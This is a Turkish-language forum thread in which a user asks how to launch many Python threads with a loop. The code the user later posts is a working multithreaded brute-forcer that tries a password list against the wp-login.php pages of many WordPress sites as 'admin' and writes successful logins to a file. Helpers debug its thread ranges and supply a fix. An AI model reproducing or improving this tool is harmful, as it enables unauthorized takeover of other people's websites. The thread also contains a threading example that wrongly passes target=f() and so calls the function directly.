Python Thread İle İlgili Bir Soru?

Merhaba arkadaşlar…Benim Projem Gereği programımda 50 tane thread kullanmam gerekli hepsi 1 fonksiyona ait vesaire hepsini yaptım fakat 50 tane threadi belirt 50 tanede start komutu ver ediyor 100 satır… bunu nasıl daha az koda dökebilirim 50 tane ayrı thread olucak fakat fonksiyondaki argümanların değeri her threadda farklı olucak.Aynı anda 50side çalışması lazım…

th1=Thread(target=bruteforce,args=(0,int(topsayi)))
th2=Thread(target=bruteforce,args=(int(topsayi),int(topsayi)*2))
th3=Thread(target=bruteforce,args=(int(topsayi*2),int(topsayi*3)))
th4 = Thread(target=bruteforce, args=(int(topsayi*3), int(topsayi*4)))
th5 = Thread(target=bruteforce, args=(int(topsayi*4), int(topsayi *5)))
th6 = Thread(target=bruteforce, args=(int(topsayi*5), int(topsayi *6)))
th7 = Thread(target=bruteforce, args=(int(topsayi*6), int(topsayi*7)))
th8 = Thread(target=bruteforce, args=(int(topsayi*7), int(topsayi*8)))
th9 = Thread(target=bruteforce, args=(int(topsayi*8), int(topsayi*9)))
th10 = Thread(target=bruteforce, args=(int(topsayi*9), int(topsayi * 10)))
th1.start()
th2.start()
th3.start()
th4.start()
th5.start()
th6.start()
th7.start()
th8.start()
th9.start()
th10.start()

Buda Benim Kodlarım…

Aşağıdaki kodlarda olduğu gibi bir for döngüsü kullanmak işinize yarabilir belki.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import threading


def f(x, y):
    print(x, y)


sayi = 2
for i in range(100):
    t = threading.Thread(target=f, args=(sayi * i, sayi * (i + 1)))
    t.start()

aslında konu hakkında bilgim yok ama döngü içerisinde çalıştırılır ise her bir thread ayrı ayrı çalıştırılmış olur. ama soruyu soran arkadaş tek seferde 50 tane çalıştırmak istiyor. Belki döngü ile birlikte bunları bir liste haline getirirp döngüden sonra hepsini tek bir thread olarak çalıştırabilirsiniz.

tabi başta dediğim kadar konu hakkında hiçbir bilgim yok sadece döngü ile ilgili yorum yapıyorum. eğer thread işleminde listeyi çalıştırma gibi bir özellik var ise sorun çözüldü gibi :slight_smile:

50 tane thread’i aynı anda çalıştırmak için alt alta 50 tane thread örneği oluşturup çalıştırmak ile for döngüsü aracılığı ile threadleri çalıştırmak arasında sonuç açısından bir fark yok. Her halükarda onlarca thread, aynı anda çalıştırılmamış olur, ki zaten böyle bir işlem pek mümkün değil. Yani an dediğimiz çok kısa bir süre içerisinde yüzlerce thread çalıştırılabilir. Ama bu demek değil ki hepsi t = 0 anında çalıştırılıyorlar. Birisi t = 0 anında çalışmaya başladıysa, diğeri t = 0.000001 gibi başka bir anda çalışmaya başlar. Çalışma sırası yukarıdan aşağı sıralandığı için, üstteki thread, alttaki thread’ten önce çalışır.

Threadler’in target argümanına liste yazamazsınız, fonksiyon yazmak zorundasınız.

konu ile ilgili olup olmayacağını bilmediğim için sadece bir fikir sundum.
ayrıca dediğiniz gibi alt alta yazmak ile for döngüsüne sokmak arasında bir fark yok ama soruyu soran arkadaş toplu olarak bir defada çalıştırmak istiyorum söyleyince bende dediğiniz gibi for ile alt alta yazmak arasında bir fark olmadığı için belki liste vb bir veri tipini tek seferde işleme olayı olur diye yazdım :slight_smile: :grin::grinning::sunglasses:

Arkadaşın yazdığı kodlara göre, alt alta yazılan threadler aynı anda çalıştırılıyormuş gibi düşünülüyor. Halbuki öyle bir şey yok. Her satırdaki thread’in çalıştırılmasının bir zamanı var. Zaman aralığı çok kısa olduğu için, sanki hepsi aynı anda çalışıyormuş gibi gelmesi normal. Özetle ister for döngüsü kullanılsın ister alt alta 50 tane thread oluşturulsun, yine de bütün threadler aynı anda çalıştırılmamış olur.

Mesela aşağıdaki kodları çalıştırıp, zaman farklarına bakabilirsiniz.

from datetime import datetime as dt

print(dt.now())
print(dt.now())

Hocam İyi Güzel Tamam da Bu For Döngüsü 100 Olunca Bitmeyecek mi? 100 kere döngü çalışınca bitecek ve threadlar kapanmayacak mı program bitmeyecek mi? Ve de merak ettiğim nokta t ye thread tanımlıyoruz başlatıyoruz döngü her döndüğünde bir daha başlıyor ama t ye yeni bir thread mı atanıyor? for döngüsü haricinde t isimli threadi defalarca kullanabilirmiyiz?

Sizin yukarıda yazdığınız threadlerin çağırdığı fonksiyonlar sürekli çalışan işlemler yapıyorsa, bitmez, ama eğer bu fonksiyonlar bir yerden sonra çalışmasını sonlandırıyorsa, o zaman bu threadler de sonlanır. Yani tamamen sizin tanımladığınız fonksiyonlara bağlı bir durum bu. Eğer fonksiyonların sürekli çalışacağı bir durum oluşturmak istiyorsanız, daha başka şekilde tanımlamak gerekebilir. Ben sadece sizin yazdığınız kodlara göre bir öneri sundum.

Evet, t’ye yeni bir thread atanıyor. For döngüsü haricinde t isimli bir değişkeni sürekli kullanabilirsiniz. Bu sadece threadlere özgü bir durum değil ki yani şöyle göstermeye çalışayım:

a = "hello"
print(a)
print(id(a))
a = 1
print(a)
print(id(a))

a değişkeni iki farklı veri tipi olarak kullanıldı. Ama a’nın ilk değerini artık kaybettik. t’yi de bu şekilde kullandık.
Örnek:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
import threading


def f():
    i = 0
    while i < 10:
        print(i)
        time.sleep(1)
        i += 1


def g():
    i = 10
    while i > 0:
        print(i)
        time.sleep(1)
        i -= 1


t = threading.Thread(target=f())
t.start()

t = threading.Thread(target=g())
t.start()

Bu yukarıda kodların yerine şunu yazabilirdik:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
import threading


def f():
    i = 0
    while i < 10:
        print(i)
        time.sleep(1)
        i += 1


def g():
    i = 10
    while i > 0:
        print(i)
        time.sleep(1)
        i -= 1


for i in (f(), g()):
    t = threading.Thread(target=i)
    t.start()

Hocam Fonksiyon Sürekli Çalışıyor… Yani İçinde 2 Tane For Döngüsü Var Onlarda Tek Tek Deneme Yapıyor… Verdiğiniz Örnek Gibi Yapsam Çalışır mı Yani?

Siz bir deneyin, kodlarınızı görmedim ben. thread’e atanan fonksiyon sürekli çalışan bir işlemi yerine getiriyorsa, o zaman iş parçacığı da sonlanmaz. çünkü fonksiyona bağlı.

Hocam Kısacası Şöyle Diyim Fonksiyon verdiğimiz sayı aralığında,dosyadaki verileri tek tek deniyor…

Pek anlaşılır değil, neyi deniyor? :slight_smile: Siz bu yukarıda gösterdiğim yöntemi kendi çalışmanıza uyarlamaya çalışın, eğer istediğiniz sonucu alamazsanız, kodları bütün olarak burada paylaşırsınız. Ben veya başka birisi elimizden geldiğince size yardımcı olmaya çalışırız.

Yöntemi Denedim Fakat 30 kere hep aynı veriyi deniyor.Yani Çalışmadı…

                                #KİNG KONG TARAFINDAN KODLANMIŞTIR-ESATBEY35
import requests
from threading import Thread
sayi=0
girisyapilansiteler=open("girisyapilansiteler.txt","w")
kullaniciadi="admin"
ayikla=[]
print("Default Kullanıcı Adı admin'dir.\n")
sitelerdizin=input("Sitelerin Olduğu Dizini Giriniz: ")
sifrelerdizin = input("\nŞifrelerin Olduğu Dizini Giriniz: ")
wpsiteler = []
oku = open(sitelerdizin, "r")
sitelerioku = oku.readlines()
sifrelerr = []
sifrelerioku = open(sifrelerdizin, "r")
sifreoku = sifrelerioku.readlines()
for i in sifreoku:
    sifrelerr.append(i.replace("\n", ""))
for websiteleri in sitelerioku:
    wpsiteler.append(websiteleri.replace("\n", "") + "wp-login.php")
    sayi+=1
sayiböl=30
sayyi=0
topsayi=int(sayi)/int(sayiböl)
print("Bütün Siteler Eklendi!\n")
def bruteforce(ilksira,ikincisira):

    for x in wpsiteler[ilksira:ikincisira]:
        for i in sifrelerr:
            try:
                payload = {'log': kullaniciadi, 'pwd': i}
                r = requests.get(x, timeout=3)
                if r.status_code == 200 and "pwd" in r.text:
                    r = requests.post(x, data=payload, timeout=3)
                    if "Bağlanmayı Reddetti" in r.text:
                        break
                    if "Insecure Login Prevented" in r.text:
                        break
                    if "Invalid username" in r.text:
                        print("Kullanıcı Adı Hatalı.")
                        break
                    if "Log Out" in r.text:
                        print("Giriş Başarılı:", x + ":" + kullaniciadi + ":" + i)
                        girisyapilansiteler.write("Siteler:\n" + "Kullanıcı Adı:" + " " + " " + "Sifreler:")
                        girisyapilansiteler.write("\n" + x + "admin" + " " + " " + i)
                        break

                    else:
                        print("Hatalı Şifre!", x, i)
                        continue

                else:
                    print("Siteye Bağlanılamıyor. Veya IP Blok Yendi.", x)
                    break
            except:
                continue
def threadcalistir():
    yenisayi=topsayi
    for threadlar in range(30):
        t=Thread(target=bruteforce,args=(int(sayyi),int(topsayi*(threadlar))))
        t.start()

Rica etsem, kodlarınızı aşağıdaki gibi düzenleyebilir misiniz?

[code]
# Kodlar bu aralığa yazılacak
[/code]

Yazıyorum Fakat Bazılarını Alıyor Ve Sanırım Sorunu Anladım… Sorun Şu Ki 0dan Başlayıp toplamsayı kadar artıp toplam sayınında 2 kat artması gerekiyor 0 dan başlıyor fakat toplam sayı kadar arttırınca olmuyor…

Birincisi, kodlarınızda bulunan aşağıdaki kısımdan ötürü, programı çalıştıramıyorum.

sifrelerioku = open(sifrelerdizin, "r")
oku = open(sitelerdizin, "r")

İkincisi, sayyi değişkenini 0 olarak belirtmişsiniz ve onun üzerinde hiç bir işlem yapılmıyor, dolayısıyla args’taki sayyi değişkeni sürekli 0 oluyor.

Hocam Olay Orada 0dan Başlayıp topsayi kadar her defasında artması lazım… ama 2. argüman ise 1. argümanın 1 kat fazlası olucak yani
0-24 ise
24-48
72-96

Gibi…

İlgili yeri şu şekilde değiştirin bir:

def threadcalistir():
    global sayyi
    yenisayi=topsayi
    for threadlar in range(30):
        t=Thread(target=bruteforce,args=(int(sayyi),int(topsayi*(threadlar))))
        t.start()
        sayyi += int(topsayi*(threadlar))

İşe Yaradı Teşekkürler Ama Az Önce Kodlar Daha Hızlıydı Tek Sıkıntısı Baştan başlamıyordu… Yani ilk veriden değilde 38.de ilk veriden başlıyordu.

Yavaş olmasının sebebi nedir bilemiyorum, bildiğiniz üzere kodları da deneyemiyorum. Ama çalıştıysa sorun halloldu diyebilir miyiz?